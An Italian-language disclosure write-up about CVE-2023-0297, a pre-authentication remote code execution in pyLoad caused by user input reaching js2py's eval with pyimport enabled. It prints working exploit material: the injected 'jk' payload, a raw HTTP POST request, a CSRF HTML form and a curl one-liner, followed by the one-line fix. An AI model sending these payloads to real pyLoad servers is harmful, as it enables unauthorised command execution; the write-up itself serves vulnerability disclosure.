
CVE-2023-0297: La storia della scoperta di una RCE pre-autenticazione in pyLoad
La storia del ritrovamento di una RCE pre-autenticazione in pyLoad
Una vulnerabilità di code injection nelle versioni di pyLoad precedenti alla 0.5.0b3.dev31 porta a una RCE pre-autenticazione abusando delle funzionalità di js2py.
Puoi trovare il report qui e il codice dell'exploit qui.
pyLoad è un download manager open source scritto in Python e gestibile tramite interfaccia web. Il suo repository GitHub ha circa 2.8k stelle al 9 gennaio 2023.
Mentre stavo analizzando il codice sorgente di pyLoad, il seguente codice ha attirato la mia attenzione:
jk = eval_js(f"{jk} f()")
La definizione della funzione eval_js è la seguente:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()") usa la funzionalità di js2py che esegue il codice JavaScript f"{jk} f()" dove il parametro jk viene passato tramite un parametro di richiesta:
jk = flask.request.form["jk"]
Pertanto puoi eseguire codice JavaScript arbitrario inviando una richiesta all'endpoint.
Tuttavia, come puoi abusarne? Poiché nel contesto di js2py.eval_js() non sono definite né XMLHttpRequest, né fetch, né require (come in node.js), SSRF o la lettura di file locali non sono possibili.
Dopo aver passato del tempo, ho trovato una funzionalità interessante di js2py:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
Utilizzando questa funzionalità, puoi utilizzare librerie Python nel contesto di js2py.eval_js()! Sorprendentemente pyimport è abilitato di default. :o
Ho provato un semplice codice che esegue un comando di sistema usando pyimport:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
Come previsto, touch /tmp/pwnd è stato eseguito!
Inviando la seguente richiesta, la stessa cosa accadrebbe sull'host di destinazione:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
La parte ;f=function%20f2(){}; nel parametro jk è necessaria perché questo endpoint esegue eval_js(f"{jk} f()"). Se non è presente, il codice iniettato non verrà eseguito a causa dell'errore name 'f' is not defined.
Nota che nella richiesta non sono presenti né cookie né token CSRF. Questo significa che:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
Basta disabilitare la funzionalità pyimport.
import js2py
+js2py.disable_pyimport()
Grazie al team di hunr.dev e a un maintainer di pyLoad per le risposte rapide!